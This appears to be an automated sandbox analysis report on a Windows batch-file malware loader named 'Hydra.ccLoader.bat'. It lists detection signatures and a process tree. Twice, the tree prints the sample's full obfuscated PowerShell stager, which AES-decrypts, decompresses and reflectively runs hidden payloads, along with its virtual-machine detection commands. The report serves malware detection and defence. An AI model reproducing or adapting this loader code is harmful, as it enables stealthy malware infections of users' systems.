Edit tour
Windows
Analysis Report
Hydra.ccLoader.bat
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found large BAT file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs a global keyboard hook
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Powershell drops PE file
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 6008 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\Hydra .ccLoader. bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6692 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 3588 cmdline:
wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 4348 cmdline:
findstr /i /c:"DADY HARDDISK" /c:"WDS100 T2B0A" /c: "QEMU HARD DISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 6892 cmdline:
cmd.exe /c echo func tion LaqSe ($iUuMH){ $vwFBp=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $vwFBp. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $vwFBp. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ vwFBp.Key= [System.Co nvert]::Fr omBase64St ring('di4D DcyzTs705Y 2cfJCrjbU5 +7IUB/rxfD RBd9BuRKs= '); $vwFBp .IV=[Syste m.Convert] ::FromBase 64String(' Zryk7n3AWc gs6SOqeB0/ YQ=='); $m WNkD=$vwFB p.CreateDe cryptor(); $FMJVb=$m WNkD.Trans formFinalB lock($iUuM H, 0, $iUu MH.Length) ; $mWNkD.D ispose(); $vwFBp.Dis pose(); $F MJVb;}func tion ODxLi ($iUuMH){ Invoke-Exp ression '$ jKyNf=New- Object *S* y*s*t*e*m* .*I*O*.M*e m*or*yS*tr *ea*m(,$iU uMH);'.Rep lace('*', ''); Invok e-Expressi on '$yWDGv =New-Objec t *S*y*s*t *e*m*.*I*O *.*M*e*m*o *r*y*S*t*r *e*a*m*;'. Replace('* ', ''); In voke-Expre ssion '$Ri Wlb=New-Ob ject S*y*s *t*e*m*.*I *O*.C*om*p r*e*ss*io* n.*GZ*ip*S t*re*am*($ jKyNf, [IO .C*om*pr*e s*si*on*.C o*mp*re*ss *i*o*n*Mod e]::D*e*c* omp*re*ss) ;'.Replace ('*', ''); $RiWlb.Co pyTo($yWDG v); $RiWlb .Dispose() ; $jKyNf.D ispose(); $yWDGv.Dis pose(); $y WDGv.ToArr ay();}func tion Kbrbr ($iUuMH,$w jUzC){ Inv oke-Expres sion '$VDu EP=[*S*y*s *t*e*m*.*R *e*fl*ect* io*n.*As*s e*mb*l*y*] ::L*o*a*d* ([byte[]]$ iUuMH);'.R eplace('*' , ''); Inv oke-Expres sion '$nGm NE=$VDuEP. *E*n*t*r*y *P*o*i*n*t *;'.Replac e('*', '') ; Invoke-E xpression '$nGmNE.*I *n*v*o*k*e *($null, $ wjUzC);'.R eplace('*' , '');}$Xt HlN = 'C:\ Users\user \Desktop\H ydra.ccLoa der.bat';$ host.UI.Ra wUI.Window Title = $X tHlN;$pkwb z=[System. IO.File]:: ReadAllTex t($XtHlN). Split([Env ironment]: :NewLine); foreach ($ GxnwH in $ pkwbz) { i f ($GxnwH. StartsWith ('VEYmI')) { $jXznR= $GxnwH.Sub string(5); break; }} $ELwUb=[st ring[]]$jX znR.Split( '\');Invok e-Expressi on '$muS = ODxLi (La qSe ([*C*o *n*v*e*r*t ]::*F*r*o* m*B*a*s*e* 6*4*S*tr*i *n*g($ELwU b[0].Repla ce("#", "/ ").Replace ("@", "A") )));'.Repl ace('*', ' ');Invoke- Expression '$Ray = O DxLi (LaqS e ([*C*o*n *v*e*r*t]: :*F*r*o*m* B*a*s*e*6* 4*S*tr*i*n *g($ELwUb[ 1].Replace ("#", "/") .Replace(" @", "A"))) );'.Replac e('*', '') ;Invoke-Ex pression ' $Acu = ODx Li (LaqSe ([*C*o*n*v *e*r*t]::* F*r*o*m*B* a*s*e*6*4* S*tr*i*n*g ($ELwUb[2] .Replace(" #", "/").R eplace("@" , "A")))); '.Replace( '*', '');K brbr $muS $null;Kbrb r $Ray $nu ll;Kbrbr $ Acu (,[str ing[]] ('' )); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 2344 cmdline:
powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9) - dllhost.exe (PID: 6140 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{a7d7ae fc-34fa-4c 44-83e0-db a733732ecf } MD5: 08EB78E5BE019DF044C26B14703BD1FA) - winlogon.exe (PID: 556 cmdline:
winlogon.e xe MD5: F8B41A1B3E569E7E6F990567F21DCE97) - dllhost.exe (PID: 2044 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{d7046f 2c-bae2-44 13-95a8-3c 99656fab22 } MD5: 08EB78E5BE019DF044C26B14703BD1FA) - svchost.exe (PID: 1872 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s WinHttpAu toProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 2096 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s S hellHWDete ction MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - spoolsv.exe (PID: 2216 cmdline:
C:\Windows \System32\ spoolsv.ex e MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F) - lsass.exe (PID: 632 cmdline:
C:\Windows \system32\ lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A) - svchost.exe (PID: 2524 cmdline:
C:\Windows \system32\ svchost.ex e -k Netwo rkService -p -s Cryp tSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 912 cmdline:
C:\Windows \system32\ svchost.ex e -k DcomL aunch -p - s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - dwm.exe (PID: 976 cmdline:
"dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C) - svchost.exe (PID: 356 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s g psvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 704 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 932 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S chedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1044 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1064 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s TimeBroke rSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1080 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s P rofSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1188 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s U serManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1212 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1344 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1376 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s DispBr okerDeskto pSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1388 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s EventS ystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1400 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1436 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s T hemes MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1520 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1636 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S ENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1668 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p -s NlaS vc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1752 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s AudioEndpo intBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1760 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s FontCa che MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1804 cmdline:
C:\Windows \System32\ svchost.ex e -k Local Service -p -s netpro fm MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1852 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1952 cmdline:
C:\Windows \system32\ svchost.ex e -k Netwo rkService -p -s Dnsc ache MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1976 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1992 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 1736 cmdline:
C:\Windows \system32\ svchost.ex e -k appmo del -p -s StateRepos itory MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - cmd.exe (PID: 4016 cmdline:
"C:\Window s\System32 \cmd.exe" /C type C: \Users\use r\Desktop\ Hydra.ccLo ader.bat>C :\Windows\ $rbx-onima i2\$rbx-CO 2.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5928 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1732 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\Wind ows\$rbx-o nimai2\$rb x-CO2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2040 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 2156 cmdline:
wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 1268 cmdline:
findstr /i /c:"DADY HARDDISK" /c:"WDS100 T2B0A" /c: "QEMU HARD DISK" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 2104 cmdline:
cmd.exe /c echo func tion LaqSe ($iUuMH){ $vwFBp=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $vwFBp. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $vwFBp. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ vwFBp.Key= [System.Co nvert]::Fr omBase64St ring('di4D DcyzTs705Y 2cfJCrjbU5 +7IUB/rxfD RBd9BuRKs= '); $vwFBp .IV=[Syste m.Convert] ::FromBase 64String(' Zryk7n3AWc gs6SOqeB0/ YQ=='); $m WNkD=$vwFB p.CreateDe cryptor(); $FMJVb=$m WNkD.Trans formFinalB lock($iUuM H, 0, $iUu MH.Length) ; $mWNkD.D ispose(); $vwFBp.Dis pose(); $F MJVb;}func tion ODxLi ($iUuMH){ Invoke-Exp ression '$ jKyNf=New- Object *S* y*s*t*e*m* .*I*O*.M*e m*or*yS*tr *ea*m(,$iU uMH);'.Rep lace('*', ''); Invok e-Expressi on '$yWDGv =New-Objec t *S*y*s*t *e*m*.*I*O *.*M*e*m*o *r*y*S*t*r *e*a*m*;'. Replace('* ', ''); In voke-Expre ssion '$Ri Wlb=New-Ob ject S*y*s *t*e*m*.*I *O*.C*om*p r*e*ss*io* n.*GZ*ip*S t*re*am*($ jKyNf, [IO .C*om*pr*e s*si*on*.C o*mp*re*ss *i*o*n*Mod e]::D*e*c* omp*re*ss) ;'.Replace ('*', ''); $RiWlb.Co pyTo($yWDG v); $RiWlb .Dispose() ; $jKyNf.D ispose(); $yWDGv.Dis pose(); $y WDGv.ToArr ay();}func tion Kbrbr ($iUuMH,$w jUzC){ Inv oke-Expres sion '$VDu EP=[*S*y*s *t*e*m*.*R *e*fl*ect* io*n.*As*s e*mb*l*y*] ::L*o*a*d* ([byte[]]$ iUuMH);'.R eplace('*' , ''); Inv oke-Expres sion '$nGm NE=$VDuEP. *E*n*t*r*y *P*o*i*n*t *;'.Replac e('*', '') ; Invoke-E xpression '$nGmNE.*I *n*v*o*k*e *($null, $ wjUzC);'.R eplace('*' , '');}$Xt HlN = 'C:\ Windows\$r bx-onimai2 \$rbx-CO2. bat';$host .UI.RawUI. WindowTitl e = $XtHlN ;$pkwbz=[S ystem.IO.F ile]::Read AllText($X tHlN).Spli t([Environ ment]::New Line);fore ach ($Gxnw H in $pkwb z) { if ($ GxnwH.Star tsWith('VE YmI')) { $ jXznR=$Gxn wH.Substri ng(5); bre ak; }}$ELw Ub=[string []]$jXznR. Split('\') ;Invoke-Ex pression ' $muS = ODx Li (LaqSe ([*C*o*n*v *e*r*t]::* F*r*o*m*B* a*s*e*6*4* S*tr*i*n*g ($ELwUb[0] .Replace(" #", "/").R eplace("@" , "A")))); '.Replace( '*', '');I nvoke-Expr ession '$R ay = ODxLi (LaqSe ([ *C*o*n*v*e *r*t]::*F* r*o*m*B*a* s*e*6*4*S* tr*i*n*g($ ELwUb[1].R eplace("#" , "/").Rep lace("@", "A"))));'. Replace('* ', '');Inv oke-Expres sion '$Acu = ODxLi ( LaqSe ([*C *o*n*v*e*r *t]::*F*r* o*m*B*a*s* e*6*4*S*tr *i*n*g($EL wUb[2].Rep lace("#", "/").Repla ce("@", "A "))));'.Re place('*', '');Kbrbr $muS $nul l;Kbrbr $R ay $null;K brbr $Acu (,[string[ ]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 4412 cmdline:
powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |